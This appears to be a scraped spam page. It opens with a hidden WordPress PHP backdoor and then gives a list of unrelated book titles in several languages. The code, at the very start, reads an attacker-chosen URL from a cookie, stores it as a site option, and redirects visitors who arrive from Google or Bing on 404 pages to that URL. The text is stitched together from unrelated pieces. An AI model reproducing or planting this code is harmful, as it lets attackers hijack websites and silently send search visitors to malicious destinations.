function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Gaaf (Dutch Edition) Judo Formal Techniques: A Complete Guide to Kodokan Randori no Kata (Tuttle Martial Arts) Organisationsdiagnose und Organisationsentwicklung an einem Fallbeispiel (German Edition) La historia oculta de la Independencia de Venezuela: De la guerra idealizada a la paz imperfecta (Trópicos nº 120) (Spanish Edition) Marxist Philosophy in China : From Qu Qiubai to Mao Zedong, 1923-1945 The Lung-Air Sac System of Birds: Development, Structure, and Function Mess-, Steuerungs- und Regelungstechnik: für Installateure und Heizungsbauer (Sanitär - Heizung - Klima) (German Edition) Myths of PR: All Publicity is Good Publicity and Other Popular Misconceptions (Business Myths) CFE and Military Stability in Europe Die Orks: Roman (German Edition) The Land of the Five Flavors: A Cultural History of Chinese Cuisine (Arts and Traditions of the Table: Perspectives on Culinary History) Pure Heart: The Faith of a Father and Son in the War for a More Perfect Union (Civil War in the North) Molybdenum-99 for Medical Imaging MacBest: Ein Roman von der bizarren Scheibenwelt (German Edition) Thermodynamik der Kälteanlagen und Wärmepumpen: Grundlagen und Anwendungen der Kältetechnik (German Edition) Hill Country (Lone Star Guide to the Texas Hill Country)